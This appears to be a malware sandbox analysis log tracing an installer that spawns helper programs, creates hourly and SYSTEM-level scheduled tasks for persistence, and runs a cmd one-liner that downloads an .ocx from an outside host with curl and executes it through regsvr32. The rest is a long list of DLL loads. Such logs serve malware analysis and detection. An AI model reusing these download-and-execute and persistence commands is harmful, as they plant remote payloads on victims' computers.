Source: C:\Users\user\Desktop\1.exe	Process created: C:\Users\user\Desktop\1.exe "C:\Users\user\Desktop\1.exe" /i "C:\Users\user\AppData\Roaming\Atomix\Atomix 1.0.0\install\69B1923\Distributor Software.msi" AI_EUIMSI=1 APPDIR="C:\Program Files (x86)\Atomix" SECONDSEQUENCE="1" CLIENTPROCESSID="7448" CHAINERUIPROCESSID="7448Chainer" ACTION="INSTALL" EXECUTEACTION="INSTALL" CLIENTUILEVEL="0" ADDLOCAL="MainFeature" PRIMARYFOLDER="APPDIR" ROOTDRIVE="C:\" AI_DETECTED_ADMIN_USER="1" AI_SETUPEXEPATH="C:\Users\user\Desktop\1.exe" SETUPEXEDIR="C:\Users\user\Desktop\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1741399570 " TARGETDIR="C:\" AI_SETUPEXEPATH_ORIGINAL="C:\Users\user\Desktop\1.exe" AI_INSTALL="1"
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 9539C2E5DC35A3081EC0BB575F66643E
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 208B5DB405716A1E55D335C3D35AEAD8 E Global\MSI0000
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Program Files (x86)\Main\MainSoftware.exe "C:\Program Files (x86)\Main\MainSoftware.exe" Persistent
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /create /sc hourly /tn "MyPersistentApp_Hourly" /tr "\"C:\Program Files (x86)\Main\MainSoftware.exe\" Loop" /ru "user-PC\user" /RL HIGHEST /f
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /run /tn "MyPersistentApp_Hourly"
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Program Files (x86)\Main\MainSoftware.exe "C:\Program Files (x86)\Main\MainSoftware.exe" Loop
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe "C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe" https://qb-hos.pages.dev/page-2/?source_id=6
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks" /create /tn "InstallTask_34e8916a-1abe-4e06-987a-f63b64c2e744" /tr "\"C:\Program Files\Surfclub\Install.exe\" install https://qb-hos.pages.dev/page-2/?source_id=6" /sc once /st 21:10:47 /ru SYSTEM /f
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Process created: C:\Program Files (x86)\Main\Chop\Install.exe "C:\Program Files (x86)\Main\Chop\Install.exe"
Source: unknown	Process created: C:\Program Files\Surfclub\Install.exe "C:\Program Files\Surfclub\Install.exe" install https://qb-hos.pages.dev/page-2/?source_id=6
Source: C:\Program Files (x86)\Main\Chop\Install.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\Main\Chop\Install.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /v /c"set rnd=%tmp%\%random%0.ocx&& curl --ssl-no-revoke https://wetransfers.io/v.php -o "!rnd!" && regsvr32 /s /i "!rnd!""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl --ssl-no-revoke https://wetransfers.io/v.php -o "C:\Users\user\AppData\Local\Temp\219880.ocx"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s /i "C:\Users\user\AppData\Local\Temp\219880.ocx"
Source: unknown	Process created: C:\Program Files\Surfclub\Install.exe "C:\Program Files\Surfclub\Install.exe" install https://qb-hos.pages.dev/page-2/?source_id=6
Source: C:\Users\user\Desktop\1.exe	Process created: C:\Users\user\Desktop\1.exe "C:\Users\user\Desktop\1.exe" /i "C:\Users\user\AppData\Roaming\Atomix\Atomix 1.0.0\install\69B1923\Distributor Software.msi" AI_EUIMSI=1 APPDIR="C:\Program Files (x86)\Atomix" SECONDSEQUENCE="1" CLIENTPROCESSID="7448" CHAINERUIPROCESSID="7448Chainer" ACTION="INSTALL" EXECUTEACTION="INSTALL" CLIENTUILEVEL="0" ADDLOCAL="MainFeature" PRIMARYFOLDER="APPDIR" ROOTDRIVE="C:\" AI_DETECTED_ADMIN_USER="1" AI_SETUPEXEPATH="C:\Users\user\Desktop\1.exe" SETUPEXEDIR="C:\Users\user\Desktop\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1741399570 " TARGETDIR="C:\" AI_SETUPEXEPATH_ORIGINAL="C:\Users\user\Desktop\1.exe" AI_INSTALL="1"	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding F574E926F0549E16F7448F5C9BE1C2BF C	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 9539C2E5DC35A3081EC0BB575F66643E	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 208B5DB405716A1E55D335C3D35AEAD8 E Global\MSI0000	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Program Files (x86)\Main\MainSoftware.exe "C:\Program Files (x86)\Main\MainSoftware.exe" Persistent	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe "C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe" https://qb-hos.pages.dev/page-2/?source_id=6	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /create /sc hourly /tn "MyPersistentApp_Hourly" /tr "\"C:\Program Files (x86)\Main\MainSoftware.exe\" Loop" /ru "user-PC\user" /RL HIGHEST /f	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /run /tn "MyPersistentApp_Hourly"	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Process created: C:\Program Files (x86)\Main\Chop\Install.exe "C:\Program Files (x86)\Main\Chop\Install.exe"
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks" /create /tn "InstallTask_34e8916a-1abe-4e06-987a-f63b64c2e744" /tr "\"C:\Program Files\Surfclub\Install.exe\" install https://qb-hos.pages.dev/page-2/?source_id=6" /sc once /st 21:10:47 /ru SYSTEM /f
Source: C:\Program Files (x86)\Main\Chop\Install.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /v /c"set rnd=%tmp%\%random%0.ocx&& curl --ssl-no-revoke https://wetransfers.io/v.php -o "!rnd!" && regsvr32 /s /i "!rnd!""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl --ssl-no-revoke https://wetransfers.io/v.php -o "C:\Users\user\AppData\Local\Temp\219880.ocx"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s /i "C:\Users\user\AppData\Local\Temp\219880.ocx"

Source: C:\Users\user\Desktop\1.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: lpk.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: msihnd.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: srclient.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: spp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.ui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windowmanagementapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: lpk.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: msihnd.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: wldp.dll	Jump to behavior
